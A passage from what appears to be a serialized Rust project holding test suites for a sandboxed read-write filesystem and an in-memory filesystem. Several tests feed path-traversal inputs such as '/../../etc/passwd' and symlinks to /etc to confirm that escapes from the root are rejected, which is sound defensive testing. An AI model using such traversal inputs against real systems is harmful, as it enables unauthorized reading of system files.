`vfs::Metadata`.\nfn map_metadata(meta: &std::fs::Metadata) -> Metadata {\n    let node_type = if meta.is_symlink() {\n        NodeType::Symlink\n    } else if meta.is_dir() {\n        NodeType::Directory\n    } else {\n        NodeType::File\n    };\n    Metadata {\n        node_type,\n        size: meta.len(),\n        mode: meta.permissions().mode(),\n        mtime: meta.modified().unwrap_or(SystemTime::UNIX_EPOCH),\n        file_id: 0,\n    }\n}\n","/home/user/src/vfs/readwrite_tests.rs":"#[cfg(test)]\nmod tests {\n    use std::path::{Path, PathBuf};\n    use std::time::Duration;\n\n    use crate::platform::SystemTime;\n\n    use tempfile::TempDir;\n\n    use crate::error::VfsError;\n    use crate::vfs::{NodeType, ReadWriteFs, VirtualFs};\n\n    /// Helper: create a ReadWriteFs rooted at a temp directory.\n    fn rooted_fs() -> (TempDir, ReadWriteFs) {\n        let tmp = TempDir::new().unwrap();\n        let fs = ReadWriteFs::with_root(tmp.path()).unwrap();\n        (tmp, fs)\n    }\n\n    // ======================================================================\n    // Basic file CRUD\n    // ======================================================================\n\n    #[test]\n    fn write_and_read_file() {\n        let (tmp, fs) = rooted_fs();\n        let _ = tmp; // keep alive\n        fs.write_file(Path::new(\"/hello.txt\"), b\"Hello, world!\")\n            .unwrap();\n        let content = fs.read_file(Path::new(\"/hello.txt\")).unwrap();\n        assert_eq!(content, b\"Hello, world!\");\n    }\n\n    #[test]\n    fn overwrite_file() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/f.txt\"), b\"first\").unwrap();\n        fs.write_file(Path::new(\"/f.txt\"), b\"second\").unwrap();\n        assert_eq!(fs.read_file(Path::new(\"/f.txt\")).unwrap(), b\"second\");\n    }\n\n    #[test]\n    fn append_file() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/f.txt\"), b\"hello\").unwrap();\n        fs.append_file(Path::new(\"/f.txt\"), b\" world\").unwrap();\n        assert_eq!(fs.read_file(Path::new(\"/f.txt\")).unwrap(), b\"hello world\");\n    }\n\n    #[test]\n    fn append_nonexistent_file_errors() {\n        let (_tmp, fs) = rooted_fs();\n        let err = fs.append_file(Path::new(\"/nope.txt\"), b\"data\").unwrap_err();\n        assert!(matches!(err, VfsError::NotFound(_)));\n    }\n\n    #[test]\n    fn remove_file() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/f.txt\"), b\"data\").unwrap();\n        fs.remove_file(Path::new(\"/f.txt\")).unwrap();\n        assert!(!fs.exists(Path::new(\"/f.txt\")));\n    }\n\n    #[test]\n    fn read_nonexistent_file_errors() {\n        let (_tmp, fs) = rooted_fs();\n        let err = fs.read_file(Path::new(\"/nope.txt\")).unwrap_err();\n        assert!(matches!(err, VfsError::NotFound(_)));\n    }\n\n    // ======================================================================\n    // Directory operations\n    // ======================================================================\n\n    #[test]\n    fn mkdir_and_readdir() {\n        let (_tmp, fs) = rooted_fs();\n        fs.mkdir(Path::new(\"/mydir\")).unwrap();\n        fs.write_file(Path::new(\"/mydir/a.txt\"), b\"a\").unwrap();\n        fs.write_file(Path::new(\"/mydir/b.txt\"), b\"b\").unwrap();\n\n        let mut entries: Vec<String> = fs\n            .readdir(Path::new(\"/mydir\"))\n            .unwrap()\n            .into_iter()\n            .map(|e| e.name)\n            .collect();\n        entries.sort();\n        assert_eq!(entries, vec![\"a.txt\", \"b.txt\"]);\n    }\n\n    #[test]\n    fn mkdir_p_creates_intermediate_dirs() {\n        let (_tmp, fs) = rooted_fs();\n        fs.mkdir_p(Path::new(\"/a/b/c\")).unwrap();\n        assert!(fs.exists(Path::new(\"/a/b/c\")));\n        let stat = fs.stat(Path::new(\"/a/b/c\")).unwrap();\n        assert_eq!(stat.node_type, NodeType::Directory);\n    }\n\n    #[test]\n    fn remove_dir_empty() {\n        let (_tmp, fs) = rooted_fs();\n        fs.mkdir(Path::new(\"/empty\")).unwrap();\n        fs.remove_dir(Path::new(\"/empty\")).unwrap();\n        assert!(!fs.exists(Path::new(\"/empty\")));\n    }\n\n    #[test]\n    fn remove_dir_nonempty_fails() {\n        let (_tmp, fs) = rooted_fs();\n        fs.mkdir(Path::new(\"/nonempty\")).unwrap();\n        fs.write_file(Path::new(\"/nonempty/f.txt\"), b\"x\").unwrap();\n        let err = fs.remove_dir(Path::new(\"/nonempty\")).unwrap_err();\n        // On Linux, removing a non-empty directory gives ENOTEMPTY or EEXIST\n        assert!(\n            matches!(err, VfsError::DirectoryNotEmpty(_) | VfsError::IoError(_)),\n            \"expected DirectoryNotEmpty or IoError, got {err:?}\"\n        );\n    }\n\n    #[test]\n    fn remove_dir_all() {\n        let (_tmp, fs) = rooted_fs();\n        fs.mkdir_p(Path::new(\"/tree/sub\")).unwrap();\n        fs.write_file(Path::new(\"/tree/sub/f.txt\"), b\"data\")\n            .unwrap();\n        fs.remove_dir_all(Path::new(\"/tree\")).unwrap();\n        assert!(!fs.exists(Path::new(\"/tree\")));\n    }\n\n    // ======================================================================\n    // Symlink and hardlink operations\n    // ======================================================================\n\n    #[test]\n    fn symlink_and_readlink() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/target.txt\"), b\"content\").unwrap();\n        fs.symlink(Path::new(\"/target.txt\"), Path::new(\"/link.txt\"))\n            .unwrap();\n\n        let target = fs.readlink(Path::new(\"/link.txt\")).unwrap();\n        assert_eq!(target, PathBuf::from(\"/target.txt\"));\n\n        // Reading through the symlink should work.\n        let content = fs.read_file(Path::new(\"/link.txt\")).unwrap();\n        assert_eq!(content, b\"content\");\n    }\n\n    #[test]\n    fn hardlink_shares_content() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/original.txt\"), b\"shared\")\n            .unwrap();\n        fs.hardlink(Path::new(\"/original.txt\"), Path::new(\"/linked.txt\"))\n            .unwrap();\n\n        let content = fs.read_file(Path::new(\"/linked.txt\")).unwrap();\n        assert_eq!(content, b\"shared\");\n\n        // Modify through one name, visible through the other.\n        fs.write_file(Path::new(\"/linked.txt\"), b\"modified\")\n            .unwrap();\n        assert_eq!(\n            fs.read_file(Path::new(\"/original.txt\")).unwrap(),\n            b\"modified\"\n        );\n    }\n\n    #[test]\n    fn lstat_on_symlink_returns_symlink_type() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/real.txt\"), b\"data\").unwrap();\n        fs.symlink(Path::new(\"/real.txt\"), Path::new(\"/sym.txt\"))\n            .unwrap();\n\n        let stat = fs.stat(Path::new(\"/sym.txt\")).unwrap();\n        assert_eq!(stat.node_type, NodeType::File); // follows symlink\n\n        let lstat = fs.lstat(Path::new(\"/sym.txt\")).unwrap();\n        assert_eq!(lstat.node_type, NodeType::Symlink); // does not follow\n    }\n\n    // ======================================================================\n    // Path restriction enforcement\n    // ======================================================================\n\n    #[test]\n    fn operations_within_root_succeed() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/inside.txt\"), b\"ok\").unwrap();\n        assert_eq!(fs.read_file(Path::new(\"/inside.txt\")).unwrap(), b\"ok\");\n    }\n\n    #[test]\n    fn path_traversal_attack_rejected() {\n        let (_tmp, fs) = rooted_fs();\n        // Attempt to escape via ../\n        let err = fs.read_file(Path::new(\"/../../etc/passwd\")).unwrap_err();\n        assert!(\n            matches!(err, VfsError::PermissionDenied(_)),\n            \"expected PermissionDenied, got {err:?}\"\n        );\n    }\n\n    #[test]\n    fn dotdot_in_middle_of_path_rejected() {\n        let (_tmp, fs) = rooted_fs();\n        fs.mkdir(Path::new(\"/sub\")).unwrap();\n        let err = fs\n            .read_file(Path::new(\"/sub/../../etc/passwd\"))\n            .unwrap_err();\n        assert!(\n            matches!(err, VfsError::PermissionDenied(_)),\n            \"expected PermissionDenied, got {err:?}\"\n        );\n    }\n\n    #[test]\n    fn symlink_escape_rejected() {\n        let (tmp, fs) = rooted_fs();\n        // Create a symlink pointing outside the root on the real FS.\n        let escape_link = tmp.path().join(\"escape\");\n        std::os::unix::fs::symlink(\"/etc\", &escape_link).unwrap();\n\n        // Canonicalize should detect the escape.\n        let err = fs.canonicalize(Path::new(\"/escape\")).unwrap_err();\n        assert!(\n            matches!(err, VfsError::PermissionDenied(_)),\n            \"expected PermissionDenied, got {err:?}\"\n        );\n    }\n\n    #[test]\n    fn exists_outside_root_returns_false() {\n        let (_tmp, fs) = rooted_fs();\n        assert!(!fs.exists(Path::new(\"/../../etc/passwd\")));\n    }\n\n    // ======================================================================\n    // Write to non-existent file with root restriction\n    // ======================================================================\n\n    #[test]\n    fn write_new_file_in_root() {\n        let (_tmp, fs) = rooted_fs();\n        fs.mkdir(Path::new(\"/subdir\")).unwrap();\n        fs.write_file(Path::new(\"/subdir/new.txt\"), b\"fresh\")\n            .unwrap();\n        assert_eq!(\n            fs.read_file(Path::new(\"/subdir/new.txt\")).unwrap(),\n            b\"fresh\"\n        );\n    }\n\n    // ======================================================================\n    // Glob on real directory tree\n    // ======================================================================\n\n    #[test]\n    fn glob_star_pattern() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/a.txt\"), b\"\").unwrap();\n        fs.write_file(Path::new(\"/b.txt\"), b\"\").unwrap();\n        fs.write_file(Path::new(\"/c.rs\"), b\"\").unwrap();\n\n        let mut matches = fs.glob(\"/*.txt\", Path::new(\"/\")).unwrap();\n        matches.sort();\n        assert_eq!(\n            matches,\n            vec![PathBuf::from(\"/a.txt\"), PathBuf::from(\"/b.txt\")]\n        );\n    }\n\n    #[test]\n    fn glob_relative_pattern() {\n        let (_tmp, fs) = rooted_fs();\n        fs.mkdir(Path::new(\"/src\")).unwrap();\n        fs.write_file(Path::new(\"/src/main.rs\"), b\"\").unwrap();\n        fs.write_file(Path::new(\"/src/lib.rs\"), b\"\").unwrap();\n\n        let mut matches = fs.glob(\"*.rs\", Path::new(\"/src\")).unwrap();\n        matches.sort();\n        assert_eq!(\n            matches,\n            vec![PathBuf::from(\"lib.rs\"), PathBuf::from(\"main.rs\")]\n        );\n    }\n\n    #[test]\n    fn glob_recursive_pattern() {\n        let (_tmp, fs) = rooted_fs();\n        fs.mkdir_p(Path::new(\"/a/b\")).unwrap();\n        fs.write_file(Path::new(\"/a/x.txt\"), b\"\").unwrap();\n        fs.write_file(Path::new(\"/a/b/y.txt\"), b\"\").unwrap();\n\n        let mut matches = fs.glob(\"/**/*.txt\", Path::new(\"/\")).unwrap();\n        matches.sort();\n        assert_eq!(\n            matches,\n            vec![PathBuf::from(\"/a/b/y.txt\"), PathBuf::from(\"/a/x.txt\")]\n        );\n    }\n\n    #[test]\n    fn glob_does_not_escape_root_via_symlink() {\n        let (tmp, fs) = rooted_fs();\n        // Create a symlink inside root pointing outside\n        let escape_link = tmp.path().join(\"escape\");\n        std::os::unix::fs::symlink(\"/etc\", &escape_link).unwrap();\n\n        // Glob should not follow the symlink outside root\n        let matches = fs.glob(\"/escape/*\", Path::new(\"/\")).unwrap();\n        assert!(\n            matches.is_empty(),\n            \"glob should not return results from outside root, got {matches:?}\"\n        );\n    }\n\n    // ======================================================================\n    // deep_clone\n    // ======================================================================\n\n    #[test]\n    fn deep_clone_returns_independent_instance() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/before.txt\"), b\"data\").unwrap();\n\n        let cloned = fs.deep_clone();\n\n        // Both see the same file (passthrough).\n        assert_eq!(cloned.read_file(Path::new(\"/before.txt\")).unwrap(), b\"data\");\n\n        // Writes in the clone are visible to the original (real FS passthrough).\n        cloned.write_file(Path::new(\"/after.txt\"), b\"new\").unwrap();\n        assert_eq!(fs.read_file(Path::new(\"/after.txt\")).unwrap(), b\"new\");\n    }\n\n    // ======================================================================\n    // stat / lstat / chmod / utimes\n    // ======================================================================\n\n    #[test]\n    fn stat_on_file() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/f.txt\"), b\"hello\").unwrap();\n        let meta = fs.stat(Path::new(\"/f.txt\")).unwrap();\n        assert_eq!(meta.node_type, NodeType::File);\n        assert_eq!(meta.size, 5);\n    }\n\n    #[test]\n    fn stat_on_directory() {\n        let (_tmp, fs) = rooted_fs();\n        fs.mkdir(Path::new(\"/d\")).unwrap();\n        let meta = fs.stat(Path::new(\"/d\")).unwrap();\n        assert_eq!(meta.node_type, NodeType::Directory);\n    }\n\n    #[test]\n    fn chmod_changes_mode() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/f.txt\"), b\"data\").unwrap();\n        fs.chmod(Path::new(\"/f.txt\"), 0o755).unwrap();\n        let meta = fs.stat(Path::new(\"/f.txt\")).unwrap();\n        assert_eq!(meta.mode & 0o777, 0o755);\n    }\n\n    #[test]\n    fn utimes_changes_mtime() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/f.txt\"), b\"data\").unwrap();\n\n        let new_mtime = SystemTime::UNIX_EPOCH + Duration::from_secs(1_000_000);\n        fs.utimes(Path::new(\"/f.txt\"), new_mtime).unwrap();\n\n        let meta = fs.stat(Path::new(\"/f.txt\")).unwrap();\n        assert_eq!(meta.mtime, new_mtime);\n    }\n\n    // ======================================================================\n    // Canonicalize\n    // ======================================================================\n\n    #[test]\n    fn canonicalize_within_root() {\n        let (_tmp, fs) = rooted_fs();\n        fs.mkdir_p(Path::new(\"/a/b\")).unwrap();\n        let canon = fs.canonicalize(Path::new(\"/a/b\")).unwrap();\n        assert_eq!(canon, PathBuf::from(\"/a/b\"));\n    }\n\n    // ======================================================================\n    // Unrestricted mode\n    // ======================================================================\n\n    #[test]\n    fn unrestricted_reads_real_file() {\n        let tmp = TempDir::new().unwrap();\n        let real_path = tmp.path().join(\"test.txt\");\n        std::fs::write(&real_path, b\"hello\").unwrap();\n\n        let fs = ReadWriteFs::new();\n        let content = fs.read_file(&real_path).unwrap();\n        assert_eq!(content, b\"hello\");\n    }\n\n    #[test]\n    fn unrestricted_writes_real_file() {\n        let tmp = TempDir::new().unwrap();\n        let real_path = tmp.path().join(\"out.txt\");\n\n        let fs = ReadWriteFs::new();\n        fs.write_file(&real_path, b\"written\").unwrap();\n        assert_eq!(std::fs::read(&real_path).unwrap(), b\"written\");\n    }\n\n    // ======================================================================\n    // Copy and rename\n    // ======================================================================\n\n    #[test]\n    fn copy_file() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/src.txt\"), b\"data\").unwrap();\n        fs.copy(Path::new(\"/src.txt\"), Path::new(\"/dst.txt\"))\n            .unwrap();\n        assert_eq!(fs.read_file(Path::new(\"/dst.txt\")).unwrap(), b\"data\");\n        // Original still exists\n        assert!(fs.exists(Path::new(\"/src.txt\")));\n    }\n\n    #[test]\n    fn rename_file() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/old.txt\"), b\"data\").unwrap();\n        fs.rename(Path::new(\"/old.txt\"), Path::new(\"/new.txt\"))\n            .unwrap();\n        assert!(!fs.exists(Path::new(\"/old.txt\")));\n        assert_eq!(fs.read_file(Path::new(\"/new.txt\")).unwrap(), b\"data\");\n    }\n\n    // ======================================================================\n    // Readdir reports correct node types\n    // ======================================================================\n\n    #[test]\n    fn readdir_reports_node_types() {\n        let (_tmp, fs) = rooted_fs();\n        fs.write_file(Path::new(\"/file.txt\"), b\"\").unwrap();\n        fs.mkdir(Path::new(\"/dir\")).unwrap();\n        fs.symlink(Path::new(\"/file.txt\"), Path::new(\"/link\"))\n            .unwrap();\n\n        let entries = fs.readdir(Path::new(\"/\")).unwrap();\n        let find = |name: &str| entries.iter().find(|e| e.name == name).unwrap().node_type;\n        assert_eq!(find(\"file.txt\"), NodeType::File);\n        assert_eq!(find(\"dir\"), NodeType::Directory);\n        assert_eq!(find(\"link\"), NodeType::Symlink);\n    }\n\n    // ======================================================================\n    // Symlink escape via read_file / stat (not just canonicalize)\n    // ======================================================================\n\n    #[test]\n    fn read_file_through_symlink_escape_rejected() {\n        let (tmp, fs) = rooted_fs();\n        let escape_link = tmp.path().join(\"escape\");\n        std::os::unix::fs::symlink(\"/etc/hostname\", &escape_link).unwrap();\n\n        let err = fs.read_file(Path::new(\"/escape\")).unwrap_err();\n        assert!(\n            matches!(err, VfsError::PermissionDenied(_)),\n            \"expected PermissionDenied, got {err:?}\"\n        );\n    }\n\n    #[test]\n    fn stat_through_symlink_escape_rejected() {\n        let (tmp, fs) = rooted_fs();\n        let escape_link = tmp.path().join(\"escape\");\n        std::os::unix::fs::symlink(\"/etc\", &escape_link).unwrap();\n\n        let err = fs.stat(Path::new(\"/escape\")).unwrap_err();\n        assert!(\n            matches!(err, VfsError::PermissionDenied(_)),\n            \"expected PermissionDenied, got {err:?}\"\n        );\n    }\n\n    #[test]\n    fn relative_symlink_escape_rejected() {\n        let (tmp, fs) = rooted_fs();\n        fs.mkdir(Path::new(\"/sub\")).unwrap();\n        // Create a relative symlink that escapes: enough ../ to reach /etc\n        let escape_link = tmp.path().join(\"sub/link\");\n        std::os::unix::fs::symlink(\"../../../../../../../../etc\", &escape_link).unwrap();\n\n        let err = fs.canonicalize(Path::new(\"/sub/link\")).unwrap_err();\n        assert!(\n            matches!(err, VfsError::PermissionDenied(_)),\n            \"expected PermissionDenied, got {err:?}\"\n        );\n    }\n}\n","/home/user/src/vfs/tests.rs":"use std::path::{Path, PathBuf};\n\nuse crate::platform::SystemTime;\n\nuse super::{InMemoryFs, NodeType, VirtualFs};\nuse crate::error::VfsError;\n\nfn fs() -> InMemoryFs {\n    InMemoryFs::new()\n}\n\n// ==========================================================================\n// File CRUD\n// ==========================================================================\n\n#[test]\nfn write_and_read_file() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/hello.txt\"), b\"Hello, world!\")\n        .unwrap();\n    let content = fs.read_file(Path::new(\"/hello.txt\")).unwrap();\n    assert_eq!(content, b\"Hello, world!\");\n}\n\n#[test]\nfn overwrite_file() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/f.txt\"), b\"first\").unwrap();\n    fs.write_file(Path::new(\"/f.txt\"), b\"second\").unwrap();\n    assert_eq!(fs.read_file(Path::new(\"/f.txt\")).unwrap(), b\"second\");\n}\n\n#[test]\nfn append_file() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/f.txt\"), b\"hello\").unwrap();\n    fs.append_file(Path::new(\"/f.txt\"), b\" world\").unwrap();\n    assert_eq!(fs.read_file(Path::new(\"/f.txt\")).unwrap(), b\"hello world\");\n}\n\n#[test]\nfn append_nonexistent_file_errors() {\n    let fs = fs();\n    let err = fs.append_file(Path::new(\"/nope.txt\"), b\"data\").unwrap_err();\n    assert!(matches!(err, VfsError::NotFound(_)));\n}\n\n#[test]\nfn remove_file() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/f.txt\"), b\"data\").unwrap();\n    fs.remove_file(Path::new(\"/f.txt\")).unwrap();\n    assert!(!fs.exists(Path::new(\"/f.txt\")));\n}\n\n#[test]\nfn remove_nonexistent_file_errors() {\n    let fs = fs();\n    let err = fs.remove_file(Path::new(\"/nope.txt\")).unwrap_err();\n    assert!(matches!(err, VfsError::NotFound(_)));\n}\n\n#[test]\nfn read_nonexistent_file_errors() {\n    let fs = fs();\n    let err = fs.read_file(Path::new(\"/nope.txt\")).unwrap_err();\n    assert!(matches!(err, VfsError::NotFound(_)));\n}\n\n#[test]\nfn read_directory_as_file_errors() {\n    let fs = fs();\n    fs.mkdir(Path::new(\"/dir\")).unwrap();\n    let err = fs.read_file(Path::new(\"/dir\")).unwrap_err();\n    assert!(matches!(err, VfsError::IsADirectory(_)));\n}\n\n#[test]\nfn write_file_in_nested_dir() {\n    let fs = fs();\n    fs.mkdir_p(Path::new(\"/a/b/c\")).unwrap();\n    fs.write_file(Path::new(\"/a/b/c/file.txt\"), b\"nested\")\n        .unwrap();\n    assert_eq!(\n        fs.read_file(Path::new(\"/a/b/c/file.txt\")).unwrap(),\n        b\"nested\"\n    );\n}\n\n#[test]\nfn write_file_parent_not_found_errors() {\n    let fs = fs();\n    let err = fs\n        .write_file(Path::new(\"/no/such/dir/file.txt\"), b\"data\")\n        .unwrap_err();\n    assert!(matches!(err, VfsError::NotFound(_)));\n}\n\n// ==========================================================================\n// Directory operations\n// ==========================================================================\n\n#[test]\nfn mkdir_and_readdir() {\n    let fs = fs();\n    fs.mkdir(Path::new(\"/mydir\")).unwrap();\n    let entries = fs.readdir(Path::new(\"/\")).unwrap();\n    assert_eq!(entries.len(), 1);\n    assert_eq!(entries[0].name, \"mydir\");\n    assert_eq!(entries[0].node_type, NodeType::Directory);\n}\n\n#[test]\nfn mkdir_already_exists_errors() {\n    let fs = fs();\n    fs.mkdir(Path::new(\"/mydir\")).unwrap();\n    let err = fs.mkdir(Path::new(\"/mydir\")).unwrap_err();\n    assert!(matches!(err, VfsError::AlreadyExists(_)));\n}\n\n#[test]\nfn mkdir_p_creates_parents() {\n    let fs = fs();\n    fs.mkdir_p(Path::new(\"/a/b/c\")).unwrap();\n    assert!(fs.exists(Path::new(\"/a\")));\n    assert!(fs.exists(Path::new(\"/a/b\")));\n    assert!(fs.exists(Path::new(\"/a/b/c\")));\n}\n\n#[test]\nfn mkdir_p_existing_is_ok() {\n    let fs = fs();\n    fs.mkdir_p(Path::new(\"/a/b\")).unwrap();\n    fs.mkdir_p(Path::new(\"/a/b\")).unwrap(); // should not error\n    assert!(fs.exists(Path::new(\"/a/b\")));\n}\n\n#[test]\nfn mkdir_p_over_file_errors() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/file\"), b\"data\").unwrap();\n    let err = fs.mkdir_p(Path::new(\"/file/sub\")).unwrap_err();\n    assert!(matches!(err, VfsError::NotADirectory(_)));\n}\n\n#[test]\nfn readdir_lists_sorted() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/c.txt\"), b\"\").unwrap();\n    fs.write_file(Path::new(\"/a.txt\"), b\"\").unwrap();\n    fs.write_file(Path::new(\"/b.txt\"), b\"\").unwrap();\n    let entries = fs.readdir(Path::new(\"/\")).unwrap();\n    let names: Vec<_> = entries.iter().map(|e| e.name.as_str()).collect();\n    assert_eq!(names, vec![\"a.txt\", \"b.txt\", \"c.txt\"]);\n}\n\n#[test]\nfn remove_dir_empty() {\n    let fs = fs();\n    fs.mkdir(Path::new(\"/dir\")).unwrap();\n    fs.remove_dir(Path::new(\"/dir\")).unwrap();\n    assert!(!fs.exists(Path::new(\"/dir\")));\n}\n\n#[test]\nfn remove_dir_not_empty_errors() {\n    let fs = fs();\n    fs.mkdir(Path::new(\"/dir\")).unwrap();\n    fs.write_file(Path::new(\"/dir/file\"), b\"\").unwrap();\n    let err = fs.remove_dir(Path::new(\"/dir\")).unwrap_err();\n    assert!(matches!(err, VfsError::DirectoryNotEmpty(_)));\n}\n\n#[test]\nfn remove_dir_on_file_errors() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/file\"), b\"\").unwrap();\n    let err = fs.remove_dir(Path::new(\"/file\")).unwrap_err();\n    assert!(matches!(err, VfsError::NotADirectory(_)));\n}\n\n#[test]\nfn remove_dir_all_recursive() {\n    let fs = fs();\n    fs.mkdir_p(Path::new(\"/a/b/c\")).unwrap();\n    fs.write_file(Path::new(\"/a/b/file.txt\"), b\"data\").unwrap();\n    fs.write_file(Path::new(\"/a/b/c/deep.txt\"), b\"deep\")\n        .unwrap();\n    fs.remove_dir_all(Path::new(\"/a\")).unwrap();\n    assert!(!fs.exists(Path::new(\"/a\")));\n}\n\n#[test]\nfn remove_dir_all_nonexistent_errors() {\n    let fs = fs();\n    let err = fs.remove_dir_all(Path::new(\"/nope\")).unwrap_err();\n    assert!(matches!(err, VfsError::NotFound(_)));\n}\n\n#[test]\nfn readdir_nonexistent_errors() {\n    let fs = fs();\n    let err = fs.readdir(Path::new(\"/nope\")).unwrap_err();\n    assert!(matches!(err, VfsError::NotFound(_)));\n}\n\n#[test]\nfn readdir_on_file_errors() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/file\"), b\"\").unwrap();\n    let err = fs.readdir(Path::new(\"/file\")).unwrap_err();\n    assert!(matches!(err, VfsError::NotADirectory(_)));\n}\n\n// ==========================================================================\n// Path normalization\n// ==========================================================================\n\n#[test]\nfn normalize_dot_and_dotdot() {\n    let fs = fs();\n    fs.mkdir_p(Path::new(\"/a/b\")).unwrap();\n    fs.write_file(Path::new(\"/a/b/file.txt\"), b\"data\").unwrap();\n    // Access through . and ..\n    let content = fs.read_file(Path::new(\"/a/./b/../b/./file.txt\")).unwrap();\n    assert_eq!(content, b\"data\");\n}\n\n#[test]\nfn normalize_trailing_slash() {\n    let fs = fs();\n    fs.mkdir(Path::new(\"/dir\")).unwrap();\n    assert!(fs.exists(Path::new(\"/dir/\")));\n}\n\n#[test]\nfn reject_empty_path() {\n    let fs = fs();\n    let err = fs.read_file(Path::new(\"\")).unwrap_err();\n    assert!(matches!(err, VfsError::InvalidPath(_)));\n}\n\n#[test]\nfn reject_relative_path() {\n    let fs = fs();\n    let err = fs.read_file(Path::new(\"relative/path\")).unwrap_err();\n    assert!(matches!(err, VfsError::InvalidPath(_)));\n}\n\n#[test]\nfn dotdot_at_root_stays_at_root() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/file.txt\"), b\"root\").unwrap();\n    let content = fs.read_file(Path::new(\"/../../../file.txt\")).unwrap();\n    assert_eq!(content, b\"root\");\n}\n\n// ==========================================================================\n// Symlinks\n// ==========================================================================\n\n#[test]\nfn symlink_read_through() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/target.txt\"), b\"real content\")\n        .unwrap();\n    fs.symlink(Path::new(\"/target.txt\"), Path::new(\"/link.txt\"))\n        .unwrap();\n    let content = fs.read_file(Path::new(\"/link.txt\")).unwrap();\n    assert_eq!(content, b\"real content\");\n}\n\n#[test]\nfn symlink_readlink() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/target.txt\"), b\"\").unwrap();\n    fs.symlink(Path::new(\"/target.txt\"), Path::new(\"/link.txt\"))\n        .unwrap();\n    let target = fs.readlink(Path::new(\"/link.txt\")).unwrap();\n    assert_eq!(target, Path::new(\"/target.txt\"));\n}\n\n#[test]\nfn symlink_lstat_returns_symlink_type() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/target.txt\"), b\"\").unwrap();\n    fs.symlink(Path::new(\"/target.txt\"), Path::new(\"/link.txt\"))\n        .unwrap();\n    let meta = fs.lstat(Path::new(\"/link.txt\")).unwrap();\n    assert_eq!(meta.node_type, NodeType::Symlink);\n}\n\n#[test]\nfn symlink_stat_returns_target_type() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/target.txt\"), b\"data\").unwrap();\n    fs.symlink(Path::new(\"/target.txt\"), Path::new(\"/link.txt\"))\n        .unwrap();\n    let meta = fs.stat(Path::new(\"/link.txt\")).unwrap();\n    assert_eq!(meta.node_type, NodeType::File);\n}\n\n#[test]\nfn symlink_chain() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/real.txt\"), b\"chain\").unwrap();\n    fs.symlink(Path::new(\"/real.txt\"), Path::new(\"/link1\"))\n        .unwrap();\n    fs.symlink(Path::new(\"/link1\"), Path::new(\"/link2\"))\n        .unwrap();\n    let content = fs.read_file(Path::new(\"/link2\")).unwrap();\n    assert_eq!(content, b\"chain\");\n}\n\n#[test]\nfn symlink_loop_detected() {\n    let fs = fs();\n    fs.symlink(Path::new(\"/b\"), Path::new(\"/a\")).unwrap();\n    fs.symlink(Path::new(\"/a\"), Path::new(\"/b\")).unwrap();\n    let err = fs.read_file(Path::new(\"/a\")).unwrap_err();\n    assert!(matches!(err, VfsError::SymlinkLoop(_)));\n}\n\n#[test]\nfn symlink_to_nonexistent_errors_on_read() {\n    let fs = fs();\n    fs.symlink(Path::new(\"/nonexistent\"), Path::new(\"/link\"))\n        .unwrap();\n    let err = fs.read_file(Path::new(\"/link\")).unwrap_err();\n    assert!(matches!(err, VfsError::NotFound(_)));\n}\n\n#[test]\nfn remove_file_removes_symlink_not_target() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/target\"), b\"keep me\").unwrap();\n    fs.symlink(Path::new(\"/target\"), Path::new(\"/link\"))\n        .unwrap();\n    fs.remove_file(Path::new(\"/link\")).unwrap();\n    assert!(!fs.exists(Path::new(\"/link\")));\n    assert_eq!(fs.read_file(Path::new(\"/target\")).unwrap(), b\"keep me\");\n}\n\n#[test]\nfn symlink_already_exists_errors() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/file\"), b\"\").unwrap();\n    let err = fs\n        .symlink(Path::new(\"/target\"), Path::new(\"/file\"))\n        .unwrap_err();\n    assert!(matches!(err, VfsError::AlreadyExists(_)));\n}\n\n// ==========================================================================\n// Metadata: mode, mtime\n// ==========================================================================\n\n#[test]\nfn file_default_mode() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/f.txt\"), b\"\").unwrap();\n    let meta = fs.stat(Path::new(\"/f.txt\")).unwrap();\n    assert_eq!(meta.mode, 0o644);\n}\n\n#[test]\nfn dir_default_mode() {\n    let fs = fs();\n    fs.mkdir(Path::new(\"/dir\")).unwrap();\n    let meta = fs.stat(Path::new(\"/dir\")).unwrap();\n    assert_eq!(meta.mode, 0o755);\n}\n\n#[test]\nfn chmod_changes_mode() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/f.txt\"), b\"\").unwrap();\n    fs.chmod(Path::new(\"/f.txt\"), 0o755).unwrap();\n    let meta = fs.stat(Path::new(\"/f.txt\")).unwrap();\n    assert_eq!(meta.mode, 0o755);\n}\n\n#[test]\nfn utimes_changes_mtime() {\n    let fs = fs();\n    fs.write_file(Path::new(\"/f.txt\"), b\"\").unwrap();\n    let new_time = SystemTime::UNIX_EPOCH;\n    fs.utimes(Path::new(\"/f.txt\"), new_time).unwrap();\n    let meta = 